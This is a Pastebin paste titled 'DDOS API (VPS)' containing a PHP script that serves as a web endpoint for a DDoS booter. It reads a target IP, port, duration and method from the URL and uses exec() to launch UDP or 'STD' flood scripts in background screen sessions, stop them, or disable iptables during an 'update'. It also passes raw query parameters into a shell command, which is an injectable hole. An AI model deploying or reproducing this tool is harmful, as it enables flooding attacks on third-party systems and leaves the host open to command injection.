Advertisement
Brahzie

DDOS API (VPS)

Nov 13th, 2019
2,112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.55 KB | None | 0 0
  1. <?php
  2.  
  3. $ip = $_GET['ip'];
  4. $port = $_GET['port'];
  5. $time = $_GET['time'];
  6. $method = $_GET['method'];
  7. $command = "";
  8.  
  9. if($method=='UDP'){ $command = "screen -dmS python /var/www/html/attack.py $ip $port $time"; }
  10. if($method=='STD'){ $command = "screen -dmS python /var/www/html/std $ip $port"; }
  11. if($method=='STOP'){ $command = "killall python; killall std"; }
  12. if($method=='update'){ $command = "yum update -y; yum install httpd perl python -y; service iptables stop; service httpd restart"; }
  13.  
  14. exec($command,$output,$return_var);
  15.  
  16. echo "Sent";
  17.  
  18. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement